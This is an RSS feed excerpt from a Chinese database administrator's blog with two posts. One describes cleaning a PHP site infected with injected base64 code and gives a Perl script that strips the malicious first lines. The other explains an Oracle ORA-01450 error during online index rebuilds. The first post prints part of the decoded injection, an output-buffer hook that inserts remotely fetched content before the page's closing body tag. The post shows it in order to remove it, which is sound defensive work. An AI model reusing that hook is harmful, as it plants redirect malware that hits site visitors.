<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><!--这是一个由Feedsy提供技术支持的Feed，为了提高读者阅读的体验，以及满足用户美化自己Feed的需要，我们设计了多种精美的Feed模板，提供给大家选择，所有最终呈现出来的样式，皆由用户自愿选择使用，未经许可，任何团体和个人，请不要擅自修改样式或者盗用，这是对于用户选择权的尊重。--><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:fs="http://www.feedsky.com/namespace/feed" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><fs:self_link href="http://feed.feedsky.com/NinGoo" type="application/rss+xml" /><lastBuildDate>Tue, 06 Mar 2012 14:19:38 GMT</lastBuildDate><title>NinGoo.net</title><description>Just a simple oracle and MySQL DBA</description><image><url>http://www.feedsky.com/feed/NinGoo/sc/gif</url><title>NinGoo.net</title><link>http://www.ningoo.net</link></image><link>http://www.ningoo.net</link><sy:updatePeriod>hourly</sy:updatePeriod><sy:updateFrequency>1</sy:updateFrequency><language>en</language><pubDate>Tue, 06 Mar 2012 15:29:15 GMT</pubDate><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/NinGoo" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="ningoo" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item><title>用perl清理被注入代码的PHP文件</title><link>http://item.feedsky.com/~feedsky/NinGoo/~1461473/613368752/1237504/1/item.html</link><content:encoded><![CDATA[<p>周末在准备澳大利亚的行程，想起半年前申请了一个<a href="http://www.welvxing.com">Welvxing.com</a>的域名，并且也用Discuz X2搭了个论坛(<a href="http://www.welvxing.com">We旅行</a>)，不过一直荒废在那里。趁周末搜集资料时简单的折腾了一下，正好用来记录分享行程攻略。一直用的Chrome也没觉得有什么异常，偶尔用IE打开的时候发现会自动跳转到一个莫名其妙的网站。一想坏了，可能被注入代码了，一看PHP源文件，果然在第一行被注入了一段base64加密过的代码(本来想将代码贴进来，不过Dreamhost不让这么干，一直报503错误，只好作罢)。</p>
<p>解码以后的代码为：</p>
<div class="code">
<code><br />
if(function_exists('ob_start')&#038;&#038;!isset($_SERVER['mr_no'])){  $_SERVER['mr_no']=1;    if(!function_exists('mrobh')){    function get_tds_777($url{$content="";$content=@trycurl_777($url);<br />
...此处省略若干行<br />
function mrobh($content){  @Header('Content-Encoding: none');  $decoded_content=gzdecodeit($content);  if(preg_match('/\<\/body/si',$decoded_content)){  return preg_replace('/(\<\/body[^\>]*\>)/si',gml_777()."\n".'$1',$decoded_content);  }else{  return $decoded_content.gml_777();  }  }  ob_start('mrobh');  }  }<br />
</code>
</div>
<p>头疼的时，几乎所有的PHP文件都受影响了，2000个多啊，手工改还不要了亲命了。好在有Perl帮忙，遍历所有子目录的文件也不需要写递归，简单几行代码就可以搞定了：</p>
<div class="code">
<code><br />
#!/usr/bin/perl<br />
use File::Find;</p>
<p>sub clean_file {<br />
  my $file = shift;<br />
  my $tmp = $file.".tmp";</p>
<p>  print "clean file $file ...\n";<br />
  open(FILE, $file) or die "can not open $file\n";<br />
  open(TMP, ">$tmp") or die "can not open $tmp\n";<br />
  while(<FILE>){<br />
    my $line = $_;<br />
    $line =~ s/^.*aWYoZnVuY3Rpb25fZXhpc.*$/<?php/; # 此处的正则表达式根据需要修改注入代码的指纹即可<br />
    $line =~ s/\r\n$/\n/;<br />
    print TMP $line;<br />
  }<br />
  close(FILE);<br />
  close(TMP);</p>
<p>  system("mv $tmp $file");<br />
}</p>
<p>sub process {<br />
  my $file = $File::Find::name;<br />
  if ($file =~/\.(php)$/i){<br />
    clean_file($file);<br />
  }<br />
}</p>
<p>find(\&#038;process, '/home/ningoo/welvxing.com');<br />
</code>
</div>
<p>注：清理之前注意备份现场，要是脚本有点小问题，到时候就追悔莫及了^_^</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fhow_to_programming_perl_module.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fusing_perl_clean_php_warm.html">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">编写Perl模块</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Finstall_perl_dbi_module.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fusing_perl_clean_php_warm.html">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Redhat上安装Perl DBI模块</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Finstall_perl_dbd_mysql_dirver.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fusing_perl_clean_php_warm.html">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Redhat上安装Perl DBD::mysql驱动</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fusing_perl_monitor_database.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fusing_perl_clean_php_warm.html">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">用Perl的hash数组实现个性化监控</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2010%2Fperl_english_module.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fusing_perl_clean_php_warm.html">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Perl的English模块</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table><img src="http://www1.feedsky.com/t1/613368752/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/613368752/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" />
<p><a href="http://feedads.g.doubleclick.net/~a/vd3rYPKA1RRCOObUGf8YZFYwQZ0/0/da"><img src="http://feedads.g.doubleclick.net/~a/vd3rYPKA1RRCOObUGf8YZFYwQZ0/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/vd3rYPKA1RRCOObUGf8YZFYwQZ0/1/da"><img src="http://feedads.g.doubleclick.net/~a/vd3rYPKA1RRCOObUGf8YZFYwQZ0/1/di" border="0" ismap="true"></img></a></p>]]></content:encoded><wfw:commentRss>http://www.ningoo.net/html/2012/using_perl_clean_php_warm.html/feed</wfw:commentRss><slash:comments>2</slash:comments><description>周末在准备澳大利亚的行程，想起半年前申请了一个Welvxing.com的域名，并且也用Discuz X2搭了个论坛(We旅行)，不过一直荒废在那里。趁周末搜集资料时简单的折腾了一下，正好用来记录分享行程... &lt;table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;"&gt;
    
    &lt;tr&gt;
        &lt;td &gt;&lt;b&gt;&lt;font size="-1"  style="display: block !important; padding: 20px 0 5px !important;"&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
            &lt;tr&gt;
                &lt;td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;"&gt;
                    &lt;img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif"&gt;
                    &lt;a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fhow_to_programming_perl_module.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fusing_perl_clean_php_warm.html"&gt;
                        &lt;font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;"&gt;编写Perl模块&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
            &lt;/tr&gt;
            &lt;tr&gt;
                &lt;td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;"&gt;
                    &lt;img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif"&gt;
                    &lt;a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Finstall_perl_dbi_module.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fusing_perl_clean_php_warm.html"&gt;
                        &lt;font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;"&gt;Redhat上安装Perl DBI模块&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
            &lt;/tr&gt;
            &lt;tr&gt;
                &lt;td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;"&gt;
                    &lt;img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif"&gt;
                    &lt;a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Finstall_perl_dbd_mysql_dirver.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fusing_perl_clean_php_warm.html"&gt;
                        &lt;font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;"&gt;Redhat上安装Perl DBD::mysql驱动&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
            &lt;/tr&gt;
            &lt;tr&gt;
                &lt;td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;"&gt;
                    &lt;img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif"&gt;
                    &lt;a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fusing_perl_monitor_database.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fusing_perl_clean_php_warm.html"&gt;
                        &lt;font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;"&gt;用Perl的hash数组实现个性化监控&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
            &lt;/tr&gt;
            &lt;tr&gt;
                &lt;td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;"&gt;
                    &lt;img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif"&gt;
                    &lt;a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2010%2Fperl_english_module.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fusing_perl_clean_php_warm.html"&gt;
                        &lt;font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;"&gt;Perl的English模块&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
            &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td  align="right"&gt;
            &lt;a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件"&gt;
                &lt;font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;"&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src="http://www1.feedsky.com/t1/613368752/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/613368752/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" /&gt;</description><category>We旅行</category><category>php</category><category>perl</category><category>技术</category><pubDate>Tue, 06 Mar 2012 22:19:38 +0800</pubDate><author>NinGoo</author><comments>http://www.ningoo.net/html/2012/using_perl_clean_php_warm.html#comments</comments><guid isPermaLink="false">http://www.ningoo.net/?p=2401</guid><dc:creator>NinGoo</dc:creator><fs:srclink>http://www.ningoo.net/html/2012/using_perl_clean_php_warm.html</fs:srclink><fs:srcfeed>http://www.ningoo.net/feed/</fs:srcfeed><fs:itemid>feedsky/NinGoo/~1461473/613368752/1237504</fs:itemid></item><item><title>偶遇ORA-01450</title><link>http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199575/1237504/1/item.html</link><content:encoded><![CDATA[<p>这几天在测试环境部署一个适合多种操作系统多种数据库多实例的监控脚本的时候，在一台测试库上监控到一个索引失效，于是根据提示尝试online rebuild</p>
<pre>
alter index NINGOO.IDX_TEST_KPI_NAME rebuild online compute statistics;  

SQL> alter index NINGOO.IDX_TEST_KPI_NAME rebuild online compute statistics;
alter index NINGOO.IDX_TEST_KPI_NAME rebuild online compute statistics
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-01450: maximum key length (3215) exceeded
</pre>
<p>看了下索引是创建在一个varchar2(4000)的列上的：</p>
<pre>
SQL>  select table_name,column_name,column_length from all_ind_columns where index_name='IDX_TEST_KPI_NAME';

TABLE_NAME      COLUMN_NAME            COLUMN_LENGTH
--------------- ---------------------- -------------
TEST            KPI_NAME               4000
</pre>
<p>我们知道一个index key不能跨多个block，所以key的长度有限制的。但是索引既然创建成功，这个要求肯定是满足的。实际测试下，对于8K的block，这个限制应该是6398字节。</p>
<pre>
SQL>  create table test1(a varchar2(4000),b varchar2(4000));
Table created.

SQL> create index ix_test1 on test1(a,b);
create index ix_test1 on test1(a,b)
                         *
ERROR at line 1:
ORA-01450: maximum key length (6398) exceeded
</pre>
<p>那为什么4000字节的key在online rebuild的时候会有问题呢？而创建和正常rebuild操作都是正常的。</p>
<pre>
SQL>  create index ix_test1 on test1(a);
Index created.

SQL> alter index ix_test1 rebuild online;
alter index ix_test1 rebuild online
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-01450: maximum key length (3215) exceeded

SQL> alter index ix_test1 rebuild;
Index altered.
</pre>
<p>原因在于IOT表的一些限制，我们可以创建一个IOT表验证一下：</p>
<pre>
SQL> create table test_iot1(a varchar2(4000),b varchar2(4000),
  2               constraint iot1_pk primary key(a,b))
  3                organization index;
create table test_iot1(a varchar2(4000),b varchar2(4000),
*
ERROR at line 1:
ORA-01450: maximum key length (3215) exceeded
</pre>
<p>Online rebuild的过程中需要创建一个临时的IOT表，所以online rebuild的index 的key的长度限制就被大大缩短了。这一点在我们设计系统的索引的时候要特别注意，如果前期设计的索引超过了IOT index key的长度限制，则后期的维护成本会更高，因为无法online rebuild，则rebuild的时候就会锁表导致业务受到较长时间的中断。</p>
<p>当然，实际业务场景中，在varchar2(4000)列上创建索引并不常见，如果真的需要，也可以考虑只创建部分前缀的函数索引，但这需要业务的SQL也做相应修改，这一点上，PostgreSQL直接支持的前缀索引就要灵活得多。</p>
<pre>
SQL> create index ix_test1_2 on test1(substr(a,1,100));
Index created.

SQL> alter index ix_test1_2 rebuild online;
Index altered.
</pre>
<p>对于这个问题，<a href="http://www.dbthink.com/?p=20">旺旺</a>同学和<a href="http://jonathanlewis.wordpress.com/2009/06/05/online-rebuild">Jonathan Lewis</a>同学很早就有描述，只是没碰到一般很少碰到key这么长的索引而不容易注意到，再次记录下备忘。</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="DBA备忘录：Online rebuild index遭遇ORA-08104" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Fdba_memo_online_rebuild_index_encounter_ora-08104.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fa_tip_for_ora-01450.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">DBA备忘录：Online rebuild index遭遇ORA-08104</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="ORA-00494与Oracle10.2.0.4" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2009%2Fora-00494_and_oracle10_2_0.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fa_tip_for_ora-01450.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">ORA-00494与Oracle10.2.0.4</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="关于Oracle Companion CD" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Fabout_oracle_companion_cd.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fa_tip_for_ora-01450.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712723.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">关于Oracle Companion CD</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Oracle Price Lists" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Foracle_price_lists.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fa_tip_for_ora-01450.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Oracle Price Lists</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Oracle11g将于7月11号在New York正式发布" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Foracle11g_will_release_on_7_11.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fa_tip_for_ora-01450.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/09/05/28319143.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Oracle11g将于7月11号在New York正式发布</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table><img src="http://www1.feedsky.com/t1/611199575/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199575/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" />
<p><a href="http://feedads.g.doubleclick.net/~a/qj44vov0Z94xWGeK8yjnNhqv08E/0/da"><img src="http://feedads.g.doubleclick.net/~a/qj44vov0Z94xWGeK8yjnNhqv08E/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/qj44vov0Z94xWGeK8yjnNhqv08E/1/da"><img src="http://feedads.g.doubleclick.net/~a/qj44vov0Z94xWGeK8yjnNhqv08E/1/di" border="0" ismap="true"></img></a></p>]]></content:encoded><wfw:commentRss>http://www.ningoo.net/html/2012/a_tip_for_ora-01450.html/feed</wfw:commentRss><slash:comments>1</slash:comments><description>这几天在测试环境部署一个适合多种操作系统多种数据库多实例的监控脚本的时候，在一台测试库上监控到一个索引失效，于是根据提示尝试online rebuild alter index NINGOO.IDX_TEST_KPI_NAME rebuild online c... &lt;table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;"&gt;
    
    &lt;tr&gt;
        &lt;td colspan="5"&gt;&lt;b&gt;&lt;font size="-1"  style="display: block !important; padding: 20px 0 5px !important;"&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;"&gt;
                    &lt;a target="_blank" title="DBA备忘录：Online rebuild index遭遇ORA-08104" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Fdba_memo_online_rebuild_index_encounter_ora-08104.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fa_tip_for_ora-01450.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;DBA备忘录：Online rebuild index遭遇ORA-08104&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="ORA-00494与Oracle10.2.0.4" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2009%2Fora-00494_and_oracle10_2_0.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fa_tip_for_ora-01450.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;ORA-00494与Oracle10.2.0.4&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="关于Oracle Companion CD" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Fabout_oracle_companion_cd.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fa_tip_for_ora-01450.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712723.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;关于Oracle Companion CD&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="Oracle Price Lists" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Foracle_price_lists.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fa_tip_for_ora-01450.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;Oracle Price Lists&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="Oracle11g将于7月11号在New York正式发布" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Foracle11g_will_release_on_7_11.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fa_tip_for_ora-01450.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/09/05/28319143.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;Oracle11g将于7月11号在New York正式发布&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan="5" align="right"&gt;
            &lt;a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件"&gt;
                &lt;font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;"&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
